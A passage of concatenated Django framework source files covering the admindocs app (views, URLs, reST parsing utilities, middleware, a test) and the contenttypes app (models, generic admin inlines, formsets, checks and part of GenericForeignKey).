                    fields.append({
                        'name': func_name,
                        'data_type': get_return_data_type(func_name),
                        'verbose': verbose or '',
                    })
                else:
                    arguments = get_func_full_args(func)
                    print_arguments = arguments
                    # Join arguments with ', ' and in case of default value,
                    # join it with '='. Use repr() so that strings will be
                    # correctly displayed.
                    print_arguments = ', '.join([
                        '='.join(list(arg_el[:1]) + [repr(el) for el in arg_el[1:]])
                        for arg_el in arguments
                    ])
                    methods.append({
                        'name': func_name,
                        'arguments': print_arguments,
                        'verbose': verbose or '',
                    })

        # Gather related objects
        for rel in opts.related_objects:
            verbose = _("related `%(app_label)s.%(object_name)s` objects") % {
                'app_label': rel.related_model._meta.app_label,
                'object_name': rel.related_model._meta.object_name,
            }
            accessor = rel.get_accessor_name()
            fields.append({
                'name': "%s.all" % accessor,
                'data_type': 'List',
                'verbose': utils.parse_rst(_("all %s") % verbose, 'model', _('model:') + opts.model_name),
            })
            fields.append({
                'name': "%s.count" % accessor,
                'data_type': 'Integer',
                'verbose': utils.parse_rst(_("number of %s") % verbose, 'model', _('model:') + opts.model_name),
            })
        kwargs.update({
            'name': '%s.%s' % (opts.app_label, opts.object_name),
            'summary': title,
            'description': body,
            'fields': fields,
            'methods': methods,
        })
        return super(ModelDetailView, self).get_context_data(**kwargs)


class TemplateDetailView(BaseAdminDocsView):
    template_name = 'admin_doc/template_detail.html'

    def get_context_data(self, **kwargs):
        template = self.kwargs['template']
        templates = []
        try:
            default_engine = Engine.get_default()
        except ImproperlyConfigured:
            # Non-trivial TEMPLATES settings aren't supported (#24125).
            pass
        else:
            # This doesn't account for template loaders (#24128).
            for index, directory in enumerate(default_engine.dirs):
                template_file = os.path.join(directory, template)
                if os.path.exists(template_file):
                    with open(template_file) as f:
                        template_contents = f.read()
                else:
                    template_contents = ''
                templates.append({
                    'file': template_file,
                    'exists': os.path.exists(template_file),
                    'contents': template_contents,
                    'order': index,
                })
        kwargs.update({
            'name': template,
            'templates': templates,
        })
        return super(TemplateDetailView, self).get_context_data(**kwargs)


####################
# Helper functions #
####################


def get_return_data_type(func_name):
    """Return a somewhat-helpful data type given a function name"""
    if func_name.startswith('get_'):
        if func_name.endswith('_list'):
            return 'List'
        elif func_name.endswith('_count'):
            return 'Integer'
    return ''


def get_readable_field_data_type(field):
    """Returns the description for a given field type, if it exists,
    Fields' descriptions can contain format strings, which will be interpolated
    against the values of field.__dict__ before being output."""

    return field.description % field.__dict__


def extract_views_from_urlpatterns(urlpatterns, base='', namespace=None):
    """
    Return a list of views from a list of urlpatterns.

    Each object in the returned list is a two-tuple: (view_func, regex)
    """
    views = []
    for p in urlpatterns:
        if hasattr(p, 'url_patterns'):
            try:
                patterns = p.url_patterns
            except ImportError:
                continue
            views.extend(extract_views_from_urlpatterns(
                patterns,
                base + p.regex.pattern,
                (namespace or []) + (p.namespace and [p.namespace] or [])
            ))
        elif hasattr(p, 'callback'):
            try:
                views.append((p.callback, base + p.regex.pattern,
                              namespace, p.name))
            except ViewDoesNotExist:
                continue
        else:
            raise TypeError(_("%s does not appear to be a urlpattern object") % p)
    return views

named_group_matcher = re.compile(r'\(\?P(<\w+>).+?\)')
non_named_group_matcher = re.compile(r'\(.*?\)')


def simplify_regex(pattern):
    """
    Clean up urlpattern regexes into something more readable by humans. For
    example, turn "^(?P<sport_slug>\w+)/athletes/(?P<athlete_slug>\w+)/$"
    into "/<sport_slug>/athletes/<athlete_slug>/".
    """
    # handle named groups first
    pattern = named_group_matcher.sub(lambda m: m.group(1), pattern)

    # handle non-named groups
    pattern = non_named_group_matcher.sub("<var>", pattern)

    # clean up any outstanding regex-y characters.
    pattern = pattern.replace('^', '').replace('$', '').replace('?', '').replace('//', '/').replace('\\', '')
    if not pattern.startswith('/'):
        pattern = '/' + pattern
    return pattern






from django.conf.urls import url
from django.contrib.admindocs import views

urlpatterns = [
    url('^$',
        views.BaseAdminDocsView.as_view(template_name='admin_doc/index.html'),
        name='django-admindocs-docroot'),
    url('^bookmarklets/$',
        views.BookmarkletsView.as_view(),
        name='django-admindocs-bookmarklets'),
    url('^tags/$',
        views.TemplateTagIndexView.as_view(),
        name='django-admindocs-tags'),
    url('^filters/$',
        views.TemplateFilterIndexView.as_view(),
        name='django-admindocs-filters'),
    url('^views/$',
        views.ViewIndexView.as_view(),
        name='django-admindocs-views-index'),
    url('^views/(?P<view>[^/]+)/$',
        views.ViewDetailView.as_view(),
        name='django-admindocs-views-detail'),
    url('^models/$',
        views.ModelIndexView.as_view(),
        name='django-admindocs-models-index'),
    url('^models/(?P<app_label>[^\.]+)\.(?P<model_name>[^/]+)/$',
        views.ModelDetailView.as_view(),
        name='django-admindocs-models-detail'),
    url('^templates/(?P<template>.*)/$',
        views.TemplateDetailView.as_view(),
        name='django-admindocs-templates'),
]






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class AdminDocsConfig(AppConfig):
    name = 'django.contrib.admindocs'
    verbose_name = _("Administrative Documentation")






default_app_config = 'django.contrib.admindocs.apps.AdminDocsConfig'






"Misc. utility functions/classes for admin documentation generator."

import re
from email.errors import HeaderParseError
from email.parser import HeaderParser

from django.urls import reverse
from django.utils.encoding import force_bytes
from django.utils.safestring import mark_safe

try:
    import docutils.core
    import docutils.nodes
    import docutils.parsers.rst.roles
except ImportError:
    docutils_is_available = False
else:
    docutils_is_available = True


def trim_docstring(docstring):
    """
    Uniformly trim leading/trailing whitespace from docstrings.

    Based on https://www.python.org/dev/peps/pep-0257/#handling-docstring-indentation
    """
    if not docstring or not docstring.strip():
        return ''
    # Convert tabs to spaces and split into lines
    lines = docstring.expandtabs().splitlines()
    indent = min(len(line) - len(line.lstrip()) for line in lines if line.lstrip())
    trimmed = [lines[0].lstrip()] + [line[indent:].rstrip() for line in lines[1:]]
    return "\n".join(trimmed).strip()


def parse_docstring(docstring):
    """
    Parse out the parts of a docstring.  Return (title, body, metadata).
    """
    docstring = trim_docstring(docstring)
    parts = re.split(r'\n{2,}', docstring)
    title = parts[0]
    if len(parts) == 1:
        body = ''
        metadata = {}
    else:
        parser = HeaderParser()
        try:
            metadata = parser.parsestr(parts[-1])
        except HeaderParseError:
            metadata = {}
            body = "\n\n".join(parts[1:])
        else:
            metadata = dict(metadata.items())
            if metadata:
                body = "\n\n".join(parts[1:-1])
            else:
                body = "\n\n".join(parts[1:])
    return title, body, metadata


def parse_rst(text, default_reference_context, thing_being_parsed=None):
    """
    Convert the string from reST to an XHTML fragment.
    """
    overrides = {
        'doctitle_xform': True,
        'initial_header_level': 3,
        "default_reference_context": default_reference_context,
        "link_base": reverse('django-admindocs-docroot').rstrip('/'),
        'raw_enabled': False,
        'file_insertion_enabled': False,
    }
    if thing_being_parsed:
        thing_being_parsed = force_bytes("<%s>" % thing_being_parsed)
    # Wrap ``text`` in some reST that sets the default role to ``cmsreference``,
    # then restores it.
    source = """
.. default-role:: cmsreference

%s

.. default-role::
"""
    parts = docutils.core.publish_parts(
        source % text,
        source_path=thing_being_parsed, destination_path=None,
        writer_name='html', settings_overrides=overrides,
    )
    return mark_safe(parts['fragment'])

#
# reST roles
#
ROLES = {
    'model': '%s/models/%s/',
    'view': '%s/views/%s/',
    'template': '%s/templates/%s/',
    'filter': '%s/filters/#%s',
    'tag': '%s/tags/#%s',
}


def create_reference_role(rolename, urlbase):
    def _role(name, rawtext, text, lineno, inliner, options=None, content=None):
        if options is None:
            options = {}
        if content is None:
            content = []
        node = docutils.nodes.reference(
            rawtext,
            text,
            refuri=(urlbase % (
                inliner.document.settings.link_base,
                text.lower(),
            )),
            **options
        )
        return [node], []
    docutils.parsers.rst.roles.register_canonical_role(rolename, _role)


def default_reference_role(name, rawtext, text, lineno, inliner, options=None, content=None):
    if options is None:
        options = {}
    if content is None:
        content = []
    context = inliner.document.settings.default_reference_context
    node = docutils.nodes.reference(
        rawtext,
        text,
        refuri=(ROLES[context] % (
            inliner.document.settings.link_base,
            text.lower(),
        )),
        **options
    )
    return [node], []

if docutils_is_available:
    docutils.parsers.rst.roles.register_canonical_role('cmsreference', default_reference_role)

    for name, urlbase in ROLES.items():
        create_reference_role(name, urlbase)






from django import http
from django.conf import settings
from django.utils.deprecation import MiddlewareMixin


class XViewMiddleware(MiddlewareMixin):
    """
    Adds an X-View header to internal HEAD requests -- used by the documentation system.
    """
    def process_view(self, request, view_func, view_args, view_kwargs):
        """
        If the request method is HEAD and either the IP is internal or the
        user is a logged-in staff member, quickly return with an x-header
        indicating the view function.  This is used by the documentation module
        to lookup the view function for an arbitrary page.
        """
        assert hasattr(request, 'user'), (
            "The XView middleware requires authentication middleware to be "
            "installed. Edit your MIDDLEWARE%s setting to insert "
            "'django.contrib.auth.middleware.AuthenticationMiddleware'." % (
                "_CLASSES" if settings.MIDDLEWARE is None else ""
            )
        )
        if request.method == 'HEAD' and (request.META.get('REMOTE_ADDR') in settings.INTERNAL_IPS or
                                         (request.user.is_active and request.user.is_staff)):
            response = http.HttpResponse()
            response['X-View'] = "%s.%s" % (view_func.__module__, view_func.__name__)
            return response






from __future__ import unicode_literals

import unittest

from django.contrib.admindocs import views
from django.db import models
from django.db.models import fields
from django.utils.translation import ugettext as _


class CustomField(models.Field):
    description = "A custom field type"


class DescriptionLackingField(models.Field):
    pass


class TestFieldType(unittest.TestCase):
    def setUp(self):
        pass

    def test_field_name(self):
        self.assertRaises(
            AttributeError,
            views.get_readable_field_data_type, "NotAField"
        )

    def test_builtin_fields(self):
        self.assertEqual(
            views.get_readable_field_data_type(fields.BooleanField()),
            _('Boolean (Either True or False)')
        )

    def test_custom_fields(self):
        self.assertEqual(
            views.get_readable_field_data_type(CustomField()),
            'A custom field type'
        )
        self.assertEqual(
            views.get_readable_field_data_type(DescriptionLackingField()),
            _('Field of type: %(field_type)s') % {
                'field_type': 'DescriptionLackingField'
            }
        )












from __future__ import unicode_literals

from django.apps import apps
from django.db import models
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


class ContentTypeManager(models.Manager):
    use_in_migrations = True

    def __init__(self, *args, **kwargs):
        super(ContentTypeManager, self).__init__(*args, **kwargs)
        # Cache shared by all the get_for_* methods to speed up
        # ContentType retrieval.
        self._cache = {}

    def get_by_natural_key(self, app_label, model):
        try:
            ct = self._cache[self.db][(app_label, model)]
        except KeyError:
            ct = self.get(app_label=app_label, model=model)
            self._add_to_cache(self.db, ct)
        return ct

    def _get_opts(self, model, for_concrete_model):
        if for_concrete_model:
            model = model._meta.concrete_model
        return model._meta

    def _get_from_cache(self, opts):
        key = (opts.app_label, opts.model_name)
        return self._cache[self.db][key]

    def get_for_model(self, model, for_concrete_model=True):
        """
        Returns the ContentType object for a given model, creating the
        ContentType if necessary. Lookups are cached so that subsequent lookups
        for the same model don't hit the database.
        """
        opts = self._get_opts(model, for_concrete_model)
        try:
            return self._get_from_cache(opts)
        except KeyError:
            pass

        # The ContentType entry was not found in the cache, therefore we
        # proceed to load or create it.
        try:
            # Start with get() and not get_or_create() in order to use
            # the db_for_read (see #20401).
            ct = self.get(app_label=opts.app_label, model=opts.model_name)
        except self.model.DoesNotExist:
            # Not found in the database; we proceed to create it. This time
            # use get_or_create to take care of any race conditions.
            ct, created = self.get_or_create(
                app_label=opts.app_label,
                model=opts.model_name,
            )
        self._add_to_cache(self.db, ct)
        return ct

    def get_for_models(self, *models, **kwargs):
        """
        Given *models, returns a dictionary mapping {model: content_type}.
        """
        for_concrete_models = kwargs.pop('for_concrete_models', True)
        # Final results
        results = {}
        # models that aren't already in the cache
        needed_app_labels = set()
        needed_models = set()
        needed_opts = set()
        for model in models:
            opts = self._get_opts(model, for_concrete_models)
            try:
                ct = self._get_from_cache(opts)
            except KeyError:
                needed_app_labels.add(opts.app_label)
                needed_models.add(opts.model_name)
                needed_opts.add(opts)
            else:
                results[model] = ct
        if needed_opts:
            cts = self.filter(
                app_label__in=needed_app_labels,
                model__in=needed_models
            )
            for ct in cts:
                model = ct.model_class()
                if model._meta in needed_opts:
                    results[model] = ct
                    needed_opts.remove(model._meta)
                self._add_to_cache(self.db, ct)
        for opts in needed_opts:
            # These weren't in the cache, or the DB, create them.
            ct = self.create(
                app_label=opts.app_label,
                model=opts.model_name,
            )
            self._add_to_cache(self.db, ct)
            results[ct.model_class()] = ct
        return results

    def get_for_id(self, id):
        """
        Lookup a ContentType by ID. Uses the same shared cache as get_for_model
        (though ContentTypes are obviously not created on-the-fly by get_by_id).
        """
        try:
            ct = self._cache[self.db][id]
        except KeyError:
            # This could raise a DoesNotExist; that's correct behavior and will
            # make sure that only correct ctypes get stored in the cache dict.
            ct = self.get(pk=id)
            self._add_to_cache(self.db, ct)
        return ct

    def clear_cache(self):
        """
        Clear out the content-type cache. This needs to happen during database
        flushes to prevent caching of "stale" content type IDs (see
        django.contrib.contenttypes.management.update_contenttypes for where
        this gets called).
        """
        self._cache.clear()

    def _add_to_cache(self, using, ct):
        """Insert a ContentType into the cache."""
        # Note it's possible for ContentType objects to be stale; model_class() will return None.
        # Hence, there is no reliance on model._meta.app_label here, just using the model fields instead.
        key = (ct.app_label, ct.model)
        self._cache.setdefault(using, {})[key] = ct
        self._cache.setdefault(using, {})[ct.id] = ct


@python_2_unicode_compatible
class ContentType(models.Model):
    app_label = models.CharField(max_length=100)
    model = models.CharField(_('python model class name'), max_length=100)
    objects = ContentTypeManager()

    class Meta:
        verbose_name = _('content type')
        verbose_name_plural = _('content types')
        db_table = 'django_content_type'
        unique_together = (('app_label', 'model'),)

    def __str__(self):
        return self.name

    @property
    def name(self):
        model = self.model_class()
        if not model:
            return self.model
        return force_text(model._meta.verbose_name)

    def model_class(self):
        "Returns the Python model class for this type of content."
        try:
            return apps.get_model(self.app_label, self.model)
        except LookupError:
            return None

    def get_object_for_this_type(self, **kwargs):
        """
        Returns an object of this type for the keyword arguments given.
        Basically, this is a proxy around this object_type's get_object() model
        method. The ObjectNotExist exception, if thrown, will not be caught,
        so code that calls this method should catch it.
        """
        return self.model_class()._base_manager.using(self._state.db).get(**kwargs)

    def get_all_objects_for_this_type(self, **kwargs):
        """
        Returns all objects of this type for the keyword arguments given.
        """
        return self.model_class()._base_manager.using(self._state.db).filter(**kwargs)

    def natural_key(self):
        return (self.app_label, self.model)






from __future__ import unicode_literals

from functools import partial

from django.contrib.admin.checks import InlineModelAdminChecks
from django.contrib.admin.options import InlineModelAdmin, flatten_fieldsets
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.forms import (
    BaseGenericInlineFormSet, generic_inlineformset_factory,
)
from django.core import checks
from django.core.exceptions import FieldDoesNotExist
from django.forms import ALL_FIELDS
from django.forms.models import modelform_defines_fields


class GenericInlineModelAdminChecks(InlineModelAdminChecks):
    def _check_exclude_of_parent_model(self, obj, parent_model):
        # There's no FK to exclude, so no exclusion checks are required.
        return []

    def _check_relation(self, obj, parent_model):
        # There's no FK, but we do need to confirm that the ct_field and ct_fk_field are valid,
        # and that they are part of a GenericForeignKey.

        gfks = [
            f for f in obj.model._meta.private_fields
            if isinstance(f, GenericForeignKey)
        ]
        if len(gfks) == 0:
            return [
                checks.Error(
                    "'%s.%s' has no GenericForeignKey." % (
                        obj.model._meta.app_label, obj.model._meta.object_name
                    ),
                    obj=obj.__class__,
                    id='admin.E301'
                )
            ]
        else:
            # Check that the ct_field and ct_fk_fields exist
            try:
                obj.model._meta.get_field(obj.ct_field)
            except FieldDoesNotExist:
                return [
                    checks.Error(
                        "'ct_field' references '%s', which is not a field on '%s.%s'." % (
                            obj.ct_field, obj.model._meta.app_label, obj.model._meta.object_name
                        ),
                        obj=obj.__class__,
                        id='admin.E302'
                    )
                ]

            try:
                obj.model._meta.get_field(obj.ct_fk_field)
            except FieldDoesNotExist:
                return [
                    checks.Error(
                        "'ct_fk_field' references '%s', which is not a field on '%s.%s'." % (
                            obj.ct_fk_field, obj.model._meta.app_label, obj.model._meta.object_name
                        ),
                        obj=obj.__class__,
                        id='admin.E303'
                    )
                ]

            # There's one or more GenericForeignKeys; make sure that one of them
            # uses the right ct_field and ct_fk_field.
            for gfk in gfks:
                if gfk.ct_field == obj.ct_field and gfk.fk_field == obj.ct_fk_field:
                    return []

            return [
                checks.Error(
                    "'%s.%s' has no GenericForeignKey using content type field '%s' and object ID field '%s'." % (
                        obj.model._meta.app_label, obj.model._meta.object_name, obj.ct_field, obj.ct_fk_field
                    ),
                    obj=obj.__class__,
                    id='admin.E304'
                )
            ]


class GenericInlineModelAdmin(InlineModelAdmin):
    ct_field = "content_type"
    ct_fk_field = "object_id"
    formset = BaseGenericInlineFormSet

    checks_class = GenericInlineModelAdminChecks

    def get_formset(self, request, obj=None, **kwargs):
        if 'fields' in kwargs:
            fields = kwargs.pop('fields')
        else:
            fields = flatten_fieldsets(self.get_fieldsets(request, obj))
        if self.exclude is None:
            exclude = []
        else:
            exclude = list(self.exclude)
        exclude.extend(self.get_readonly_fields(request, obj))
        if self.exclude is None and hasattr(self.form, '_meta') and self.form._meta.exclude:
            # Take the custom ModelForm's Meta.exclude into account only if the
            # GenericInlineModelAdmin doesn't define its own.
            exclude.extend(self.form._meta.exclude)
        exclude = exclude or None
        can_delete = self.can_delete and self.has_delete_permission(request, obj)
        defaults = {
            "ct_field": self.ct_field,
            "fk_field": self.ct_fk_field,
            "form": self.form,
            "formfield_callback": partial(self.formfield_for_dbfield, request=request),
            "formset": self.formset,
            "extra": self.get_extra(request, obj),
            "can_delete": can_delete,
            "can_order": False,
            "fields": fields,
            "min_num": self.get_min_num(request, obj),
            "max_num": self.get_max_num(request, obj),
            "exclude": exclude
        }
        defaults.update(kwargs)

        if defaults['fields'] is None and not modelform_defines_fields(defaults['form']):
            defaults['fields'] = ALL_FIELDS

        return generic_inlineformset_factory(self.model, **defaults)


class GenericStackedInline(GenericInlineModelAdmin):
    template = 'admin/edit_inline/stacked.html'


class GenericTabularInline(GenericInlineModelAdmin):
    template = 'admin/edit_inline/tabular.html'






from __future__ import unicode_literals

from django import http
from django.apps import apps
from django.contrib.contenttypes.models import ContentType
from django.contrib.sites.requests import RequestSite
from django.core.exceptions import ObjectDoesNotExist
from django.utils.translation import ugettext as _


def shortcut(request, content_type_id, object_id):
    """
    Redirect to an object's page based on a content-type ID and an object ID.
    """
    # Look up the object, making sure it's got a get_absolute_url() function.
    try:
        content_type = ContentType.objects.get(pk=content_type_id)
        if not content_type.model_class():
            raise http.Http404(_("Content type %(ct_id)s object has no associated model") %
                               {'ct_id': content_type_id})
        obj = content_type.get_object_for_this_type(pk=object_id)
    except (ObjectDoesNotExist, ValueError):
        raise http.Http404(_("Content type %(ct_id)s object %(obj_id)s doesn't exist") %
                           {'ct_id': content_type_id, 'obj_id': object_id})

    try:
        get_absolute_url = obj.get_absolute_url
    except AttributeError:
        raise http.Http404(_("%(ct_name)s objects don't have a get_absolute_url() method") %
                           {'ct_name': content_type.name})
    absurl = get_absolute_url()

    # Try to figure out the object's domain, so we can do a cross-site redirect
    # if necessary.

    # If the object actually defines a domain, we're done.
    if absurl.startswith(('http://', 'https://', '//')):
        return http.HttpResponseRedirect(absurl)

    # Otherwise, we need to introspect the object's relationships for a
    # relation to the Site object
    object_domain = None

    if apps.is_installed('django.contrib.sites'):
        Site = apps.get_model('sites.Site')

        opts = obj._meta

        # First, look for an many-to-many relationship to Site.
        for field in opts.many_to_many:
            if field.remote_field.model is Site:
                try:
                    # Caveat: In the case of multiple related Sites, this just
                    # selects the *first* one, which is arbitrary.
                    object_domain = getattr(obj, field.name).all()[0].domain
                except IndexError:
                    pass
                if object_domain is not None:
                    break

        # Next, look for a many-to-one relationship to Site.
        if object_domain is None:
            for field in obj._meta.fields:
                if field.remote_field and field.remote_field.model is Site:
                    try:
                        site = getattr(obj, field.name)
                    except Site.DoesNotExist:
                        continue
                    if site is not None:
                        object_domain = site.domain
                    if object_domain is not None:
                        break

        # Fall back to the current site (if possible).
        if object_domain is None:
            try:
                object_domain = Site.objects.get_current(request).domain
            except Site.DoesNotExist:
                pass

    else:
        # Fall back to the current request's site.
        object_domain = RequestSite(request).domain

    # If all that malarkey found an object domain, use it. Otherwise, fall back
    # to whatever get_absolute_url() returned.
    if object_domain is not None:
        protocol = request.scheme
        return http.HttpResponseRedirect('%s://%s%s'
                                         % (protocol, object_domain, absurl))
    else:
        return http.HttpResponseRedirect(absurl)






from __future__ import unicode_literals

from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.forms import ModelForm, modelformset_factory
from django.forms.models import BaseModelFormSet


class BaseGenericInlineFormSet(BaseModelFormSet):
    """
    A formset for generic inline objects to a parent.
    """

    def __init__(self, data=None, files=None, instance=None, save_as_new=None,
                 prefix=None, queryset=None, **kwargs):
        opts = self.model._meta
        self.instance = instance
        self.rel_name = '-'.join((
            opts.app_label, opts.model_name,
            self.ct_field.name, self.ct_fk_field.name,
        ))
        if self.instance is None or self.instance.pk is None:
            qs = self.model._default_manager.none()
        else:
            if queryset is None:
                queryset = self.model._default_manager
            qs = queryset.filter(**{
                self.ct_field.name: ContentType.objects.get_for_model(
                    self.instance, for_concrete_model=self.for_concrete_model),
                self.ct_fk_field.name: self.instance.pk,
            })
        super(BaseGenericInlineFormSet, self).__init__(
            queryset=qs, data=data, files=files,
            prefix=prefix,
            **kwargs
        )

    @classmethod
    def get_default_prefix(cls):
        opts = cls.model._meta
        return '-'.join((opts.app_label, opts.model_name, cls.ct_field.name, cls.ct_fk_field.name))

    def save_new(self, form, commit=True):
        setattr(form.instance, self.ct_field.get_attname(), ContentType.objects.get_for_model(self.instance).pk)
        setattr(form.instance, self.ct_fk_field.get_attname(), self.instance.pk)
        return form.save(commit=commit)


def generic_inlineformset_factory(model, form=ModelForm,
                                  formset=BaseGenericInlineFormSet,
                                  ct_field="content_type", fk_field="object_id",
                                  fields=None, exclude=None,
                                  extra=3, can_order=False, can_delete=True,
                                  max_num=None, formfield_callback=None,
                                  validate_max=False, for_concrete_model=True,
                                  min_num=None, validate_min=False):
    """
    Returns a ``GenericInlineFormSet`` for the given kwargs.

    You must provide ``ct_field`` and ``fk_field`` if they are different from
    the defaults ``content_type`` and ``object_id`` respectively.
    """
    opts = model._meta
    # if there is no field called `ct_field` let the exception propagate
    ct_field = opts.get_field(ct_field)
    if not isinstance(ct_field, models.ForeignKey) or ct_field.remote_field.model != ContentType:
        raise Exception("fk_name '%s' is not a ForeignKey to ContentType" % ct_field)
    fk_field = opts.get_field(fk_field)  # let the exception propagate
    if exclude is not None:
        exclude = list(exclude)
        exclude.extend([ct_field.name, fk_field.name])
    else:
        exclude = [ct_field.name, fk_field.name]
    FormSet = modelformset_factory(
        model, form=form, formfield_callback=formfield_callback,
        formset=formset, extra=extra, can_delete=can_delete,
        can_order=can_order, fields=fields, exclude=exclude, max_num=max_num,
        validate_max=validate_max, min_num=min_num, validate_min=validate_min,
    )
    FormSet.ct_field = ct_field
    FormSet.ct_fk_field = fk_field
    FormSet.for_concrete_model = for_concrete_model
    return FormSet






from django.apps import AppConfig
from django.contrib.contenttypes.checks import check_generic_foreign_keys
from django.core import checks
from django.db.models.signals import post_migrate, pre_migrate
from django.utils.translation import ugettext_lazy as _

from .management import (
    inject_rename_contenttypes_operations, update_contenttypes,
)


class ContentTypesConfig(AppConfig):
    name = 'django.contrib.contenttypes'
    verbose_name = _("Content Types")

    def ready(self):
        pre_migrate.connect(inject_rename_contenttypes_operations, sender=self)
        post_migrate.connect(update_contenttypes)
        checks.register(check_generic_foreign_keys, checks.Tags.models)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from itertools import chain

from django.apps import apps
from django.utils import six


def check_generic_foreign_keys(app_configs=None, **kwargs):
    from .fields import GenericForeignKey

    if app_configs is None:
        models = apps.get_models()
    else:
        models = chain.from_iterable(app_config.get_models() for app_config in app_configs)
    errors = []
    fields = (
        obj for model in models for obj in six.itervalues(vars(model))
        if isinstance(obj, GenericForeignKey)
    )
    for field in fields:
        errors.extend(field.check())
    return errors






default_app_config = 'django.contrib.contenttypes.apps.ContentTypesConfig'






from __future__ import unicode_literals

from collections import defaultdict

from django.contrib.contenttypes.models import ContentType
from django.core import checks
from django.core.exceptions import FieldDoesNotExist, ObjectDoesNotExist
from django.db import DEFAULT_DB_ALIAS, models, router, transaction
from django.db.models import DO_NOTHING
from django.db.models.base import ModelBase, make_foreign_order_accessors
from django.db.models.fields.related import (
    ForeignObject, ForeignObjectRel, ReverseManyToOneDescriptor,
    lazy_related_operation,
)
from django.db.models.query_utils import PathInfo
from django.utils.encoding import python_2_unicode_compatible, smart_text
from django.utils.functional import cached_property


@python_2_unicode_compatible
class GenericForeignKey(object):
    """
    Provide a generic many-to-one relation through the ``content_type`` and
    ``object_id`` fields.

    This class also doubles as an accessor to the related object (similar to
    ForwardManyToOneDescriptor) by adding itself as a model attribute.
    """

    # Field flags
    auto_created = False
    concrete = False
    editable = False
    hidden = False

    is_relation = True
    many_to_many = False
    many_to_one = True
    one_to_many = False
    one_to_one = False
    related_model = None
    remote_field = None

    def __init__(self, ct_field='content_type', fk_field='object_id', for_concrete_model=True):
        self.ct_field = ct_field
        self.fk_field = fk_field
        self.for_concrete_model = for_concrete_model
        self.editable = False
        self.rel = None
        self.column = None

    def contribute_to_class(self, cls, name, **kwargs):
        self.name = name
        self.model = cls
        self.cache_attr = "_%s_cache" % name
        cls._meta.add_field(self, private=True)
        setattr(cls, name, self)

    def get_filter_kwargs_for_object(self, obj):
        """See corresponding method on Field"""
        return {
            self.fk_field: getattr(obj, self.fk_field),
            self.ct_field: getattr(obj, self.ct_field),
        }

    def get_forward_related_filter(self, obj):
        """See corresponding method on RelatedField"""
        return {
            self.fk_field: obj.pk,
            self.ct_field: ContentType.objects.get_for_model(obj).pk,
        }

    def __str__(self):
        model = self.model
        app = model._meta.app_label
        return '%s.%s.%s' % (app, model._meta.object_name, self.name)

    def check(self, **kwargs):
        errors = []
        errors.extend(self._check_field_name())
        errors.extend(self._check_object_id_field())
        errors.extend(self._check_content_type_field())
        return errors

    def _check_field_name(self):
        if self.name.endswith("_"):
            return [
                checks.Error(
                    'Field names must not end with an underscore.',
                    obj=self,
                    id='fields.E001',
                )
            ]
        else:
            return []

    def _check_object_id_field(self):
        try:
            self.model._meta.get_field(self.fk_field)
        except FieldDoesNotExist:
            return [
                checks.Error(
                    "The GenericForeignKey object ID references the non-existent field '%s'." % self.fk_field,
                    obj=self,
                    id='contenttypes.E001',
                )
            ]
        else:
            return []

    def _check_content_type_field(self):
        """
        Check if field named `field_name` in model `model` exists and is a
        valid content_type field (is a ForeignKey to ContentType).
        """
        try:
            field = self.model._meta.get_field(self.ct_field)
        except FieldDoesNotExist:
            return [
                checks.Error(
                    "The GenericForeignKey content type references the non-existent field '%s.%s'." % (
                        self.model._meta.object_name, self.ct_field
                    ),
                    obj=self,
                    id='contenttypes.E002',
                )
            ]
        else:
            if not isinstance(field, models.ForeignKey):
                return [
                    checks.Error(
                        "'%s.%s' is not a ForeignKey." % (
                            self.model._meta.object_name, self.ct_field
                        ),
                        hint=(
                            "GenericForeignKeys must use a ForeignKey to "
                            "'contenttypes.ContentType' as the 'content_type' field."
                        ),
                        obj=self,
                        id='contenttypes.E003',
                    )
                ]
            elif field.remote_field.model != ContentType:
                return [
                    checks.Error(
                        "'%s.%s' is not a ForeignKey to 'contenttypes.ContentType'." % (
                            self.model._meta.object_name, self.ct_field
                        ),
                        hint=(
                            "GenericForeignKeys must use a ForeignKey to "
                            "'contenttypes.ContentType' as the 'content_type' field."
                        ),
                        obj=self,
                        id='contenttypes.E004',
                    )
                ]
            else:
                return []

    def get_content_type(self, obj=None, id=None, using=None):
        if obj is not None:
            return ContentType.objects.db_manager(obj._state.db).get_for_model(
                obj, for_concrete_model=self.for_concrete_model)
        elif id is not None:
            return ContentType.objects.db_manager(using).get_for_id(id)
        else:
            # This should never happen. I love comments like this, don't you?
            raise Exception("Impossible arguments to GFK.get_content_type!")

    def get_prefetch_queryset(self, instances, queryset=None):
        if queryset is not None:
            raise ValueError("Custom queryset can't be used for this lookup.")

        # For efficiency, group the instances by content type and then do one
        # query per model
        fk_dict = defaultdict(set)
        # We need one instance for each group in order to get the right db:
        instance_dict = {}
        ct_attname = self.model._meta.get_field(self.ct_field).get_attname()
        for instance in instances:
            # We avoid looking for values if either ct_id or fkey value is None
            ct_id = getattr(instance, ct_attname)
            if ct_id is not None:
                fk_val = getattr(instance, self.fk_field)
                if fk_val is not None:
                    fk_dict[ct_id].add(fk_val)
                    instance_dict[ct_id] = instance

        ret_val = []
        for ct_id, fkeys in fk_dict.items():
            instance = instance_dict[ct_id]
            ct = self.get_content_type(id=ct_id, using=instance._state.db)
            ret_val.extend(ct.get_all_objects_for_this_type(pk__in=fkeys))

        # For doing the join in Python, we have to match both the FK val and the
        # content type, so we use a callable that returns a (fk, class) pair.
        def gfk_key(obj):
            ct_id = getattr(obj, ct_attname)
            if ct_id is None:
                return None
            else:
                model = self.get_content_type(id=ct_id,
                                              using=obj._state.db).model_class()
                return (model._meta.pk.get_prep_value(getattr(obj, self.fk_field)),
                        model)

        return (ret_val,
                lambda obj: (obj._get_pk_val(), obj.__class__),
                gfk_key,
                True,
                self.name)

    def is_cached(self, instance):
        return hasattr(instance, self.cache_attr)

    def __get__(self, instance, cls=None):
        if instance is None:
            return self

        # Don't use getattr(instance, self.ct_field) here because that might
        # reload the same ContentType over and over (#5570). Instead, get the
        # content type ID here, and later when the actual instance is needed,
        # use ContentType.objects.get_for_id(), which has a global cache.
        f = self.model._meta.get_field(self.ct_field)
        ct_id = getattr(instance, f.get_attname(), None)
        pk_val = getattr(instance, self.fk_field)

        try:
            rel_obj = getattr(instance, self.cache_attr)
        except AttributeError:
            rel_obj = None
        else:
            if rel_obj and (ct_id != self.get_content_type(obj=rel_obj, using=instance._state.db).id or
